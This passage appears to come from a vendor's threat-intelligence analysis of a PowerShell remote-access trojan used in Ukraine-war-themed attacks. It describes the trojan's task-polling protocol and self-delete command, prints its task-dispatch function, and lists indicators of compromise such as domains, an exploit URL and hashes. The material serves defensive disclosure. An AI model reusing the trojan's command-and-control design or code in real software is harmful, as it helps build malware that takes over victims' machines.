After performing the initialization, it goes into a loop that keeps calling the "Invoke-Engine" function. This function checks the incoming tasks from the server, decodes them and calls the proper function to execute the incoming task. If there is no task to execute, it sends "GETTASK%%" in Base64 format to its server to show it is ready to get tasks and execute them. The "IC" command is used to delete itself.

```
function Invoke-Task {
  if (-not (Unpack-Task)) { return }
  # execute task
    switch ($script:Command.Type) {
     "IC" { Invoke-ICTask
       break
     }
     "PS" { Invoke-PsTask
       break
     }
     "Kill-PSTask" { Kill-PSTask
       break
     }
      "JS" { Invoke-JsTask
       break
      }
     "EXE" { Invoke-ExeTask
       break
      }
     "DLL" { Invoke-DllTask
       break
    }
   default {
     Out-Debug "[!] Invalid task type: '$($script:Command.Type)'"
    }
  }
```

Figure 12: Invoke task

The result of the task execution will be send to the server using "PUTTASK%%" command.

Infrastructure

The following shows the infrastructure used by this actor highlighting that the different lures are all connected.



Figure 12: Infrastructure

The Malwarebytes Threat Intelligence continues to monitor cyber attacks related to the Ukraine war. We are protecting our customers and sharing additional indicators of compromise.

IOCs

RTF files host domain: digital-ministry[.]ru **RTF files:** PKH telegram.rtf b19af42ff8cf0f68e520a88f40ffd76f53a27dffa33b313fe22192813d383e1e PKH.rtf 38f2b578a9da463f555614e9ca9036337dad0af4e03d89faf09b4227f035db20 **MSHTML exploit:** wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html 4e1304f4589a706c60f1f367d804afecd3e08b08b7d5e6bd8c93384f0917385c **CobaltStrike Download URL:** wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe **CobaltStrike:** Putty.exe d4eaf26969848d8027df7c8c638754f55437c0937fbf97d0d24cd20dd92ca66d **CobaltStrike C2:** wikipedia-book[.]vote/async/newtab_ogb Macro based maldoc: c7dd490adb297b7f529950778b5a426e8068ea2df58be5d8fd49fe55b5331e28

PowerShell based RAT:

9d4640bde3daf44cc4258eb5f294ca478306aa5268c7d314fc5019cf783041f0 **PowerShell Rat C2:** swordoke[.]com